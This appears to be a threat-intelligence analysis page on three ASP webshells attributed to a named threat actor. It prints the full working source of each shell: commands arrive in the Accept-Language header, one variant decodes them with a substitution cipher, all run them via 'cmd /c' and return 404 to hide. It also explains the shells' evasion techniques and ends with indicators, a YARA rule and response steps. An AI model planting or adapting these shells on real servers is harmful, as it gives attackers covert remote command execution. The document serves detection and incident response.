Documentation Index
Fetch the complete documentation index at: https://mintlify.com/KittenBusters/CharmingKitten/llms.txt
Use this file to discover all available pages before exploring further.
Webshell Variants Overview
Three ASP webshell variants were identified, ranging from sophisticated obfuscation to simple command execution:
| Variant | Encoding | Lines of Code | Sophistication |
|---|
| m0s.asp | Custom decode function | 43 | High |
| webshell.asp | None | 19 | Low |
| file.asp | None | 18 | Low |
m0s.asp - Primary Webshell with Obfuscation
Full Source Code
<%
Function Decode(inputString)
Dim en, de, outputString, i, char
en = "AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/"
de = "Qk3\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5hBDn4.prWAHmIZ"
outputString = ""
For i = 1 To Len(inputString)
char = Mid(inputString, i, 1)
Dim index
index = InStr(de, char)
If index > 0 Then
outputString = outputString & Mid(en, index, 1)
Else
outputString = outputString & char
End If
Next
Decode = outputString
End Function
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
Dim acceptLanguage
acceptLanguage = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
If acceptLanguage <> "" Then
Dim result
result = Decode(acceptLanguage)
thisDir = getCommandOutput("cmd /c" & result)
Response.Write(thisDir)
Else
Response.Status = "404 Not Found"
Response.End
End If
%>
Decode Function Analysis
The Decode() function reverses the encoding applied by the Python C2 scripts:
Function Decode(inputString)
Dim en, de, outputString, i, char
en = "AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/"
de = "Qk3\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5hBDn4.prWAHmIZ"
outputString = ""
For i = 1 To Len(inputString)
char = Mid(inputString, i, 1)
Dim index
index = InStr(de, char)
If index > 0 Then
outputString = outputString & Mid(en, index, 1)
Else
outputString = outputString & char
End If
Next
Decode = outputString
End Function
How it works:
- Takes encoded string as input
- For each character, finds its position in the substitution alphabet (
de)
- Replaces it with the character at the same position in the original alphabet (
en)
- Returns decoded plaintext command
Example flow:
- Python C2 encodes
whoami → ??? (encoded)
- ASP webshell receives encoded string in
Accept-Language header
Decode() reverses substitution → whoami
- Command executed via
cmd /c whoami
Command Execution Mechanism
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
Execution flow:
- Creates
WScript.Shell COM object
- Calls
.exec() method with command string
- Reads entire stdout output
- Returns output to caller
Request Handling Logic
Dim acceptLanguage
acceptLanguage = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
If acceptLanguage <> "" Then
Dim result
result = Decode(acceptLanguage)
thisDir = getCommandOutput("cmd /c" & result)
Response.Write(thisDir)
Else
Response.Status = "404 Not Found"
Response.End
End If
Stealth features:
- Extracts command from
HTTP_ACCEPT_LANGUAGE server variable
- Only executes if header is present and non-empty
- Returns 404 error if no command provided (appears as broken page)
- Immediately ends response on 404 to avoid revealing code
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Three COM objects are instantiated but only WScript.Shell is actively used:
- WSCRIPT.SHELL - Used for command execution
- WSCRIPT.NETWORK - Network operations (unused in this code)
- Scripting.FileSystemObject - File operations (unused in this code)
The unused objects suggest this may be a modified version of a larger webshell framework.
webshell.asp - Simplified Version
Full Source Code
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
Dim acceptLanguage
acceptLanguage = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
If acceptLanguage <> "" Then
thisDir = getCommandOutput("cmd /c" & acceptLanguage)
Response.Write(thisDir)
Else
Response.Status = "404 Not Found"
Response.End
End If %>
Key Differences from m0s.asp
Removed features:
- No
Decode() function - commands transmitted in plaintext
- No encoding/decoding logic
- More compact code (19 lines vs 43 lines)
Identical features:
- Same COM object initialization
- Same
getCommandOutput() function
- Same header-based command reception
- Same 404 stealth mechanism
Use case:
- Backup webshell for when encoding is not needed
- Used by RCE4.py which doesn’t implement encoding
- Simpler deployment with less code to detect
file.asp - Minimal Webshell
Full Source Code
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
Dim acceptLanguage
acceptLanguage = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
If acceptLanguage <> "" Then
thisDir = getCommandOutput("cmd /c" & acceptLanguage)
Response.Write(thisDir)
Else
Response.Status = "404 Not Found"
Response.End
End If %>
Analysis
Differences from webshell.asp:
- Minor formatting differences (whitespace, indentation)
- Functionally identical to webshell.asp
- 18 lines vs 19 lines (negligible difference)
Purpose:
- Possibly a renamed copy for redundancy
- May be deployed to different directories for backup access
- Provides multiple entry points if one webshell is discovered
Security Analysis
Attack Surface
All three webshells enable:
- Arbitrary command execution via
cmd /c
- Full system access under IIS application pool identity
- Persistent backdoor access
- Potential for lateral movement
- Data exfiltration capabilities
Privilege Context
Commands execute with the privileges of the IIS application pool identity, typically:
IIS APPPOOL\DefaultAppPool (limited)
NETWORK SERVICE (medium)
SYSTEM (if misconfigured - critical)
Evasion Techniques
-
HTTP Header Tunneling
- Commands in
Accept-Language header (unusual but valid)
- Evades POST/query string inspection
-
404 Error Simulation
- Returns 404 when accessed without command
- Appears as broken/missing page to casual inspection
-
Custom Encoding (m0s.asp only)
- Obfuscates command payloads
- Reduces signature-based detection
-
File Extension Masquerading
.phto extension (m0s.phto on flydubai.com)
- Deployed in image/upload directories
- Blends with legitimate content
Detection and Response
File-based IOCs
Filenames:
- m0s.asp / m0s.aspx / m0s.phto / m0s.php
- webshell.asp
- file.asp
Content signatures:
- Server.CreateObject("WSCRIPT.SHELL")
- Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
- getCommandOutput function definition
- Decode function with specific alphabet strings
YARA Rule Concepts
rule ASP_Webshell_M0s {
strings:
$decode_func = "Function Decode(inputString)"
$alphabet_en = "AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/"
$alphabet_de = "Qk3\\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5hBDn4.prWAHmIZ"
$accept_lang = "Request.ServerVariables(\"HTTP_ACCEPT_LANGUAGE\")"
$wscript = "CreateObject(\"WScript.Shell\")"
condition:
3 of them
}
Behavioral Detection
Process monitoring:
Parent: w3wp.exe (IIS worker process)
Child: cmd.exe /c [command]
Alert: IIS spawning cmd.exe via WScript.Shell
Network monitoring:
Alert on:
- GET requests with non-standard Accept-Language values
- Responses from .asp/.aspx files in image directories
- HTTP responses containing command-line output patterns
-
Immediate containment:
- Take affected server offline or isolate network segment
- Terminate IIS application pool
- Block network access to identified webshell URLs
-
Investigation:
- Review IIS logs for Accept-Language header anomalies
- Check file creation timestamps for webshells
- Identify initial access vector (file upload, RCE, etc.)
- Search for additional webshells with similar patterns
-
Eradication:
- Delete all identified webshell files
- Patch vulnerabilities used for initial access
- Review and remove any created user accounts
- Check for persistence mechanisms (scheduled tasks, services)
-
Recovery:
- Restore from clean backup if available
- Rebuild server if compromise is extensive
- Reset all credentials with access to affected systems
- Update WAF/IPS rules to block similar attacks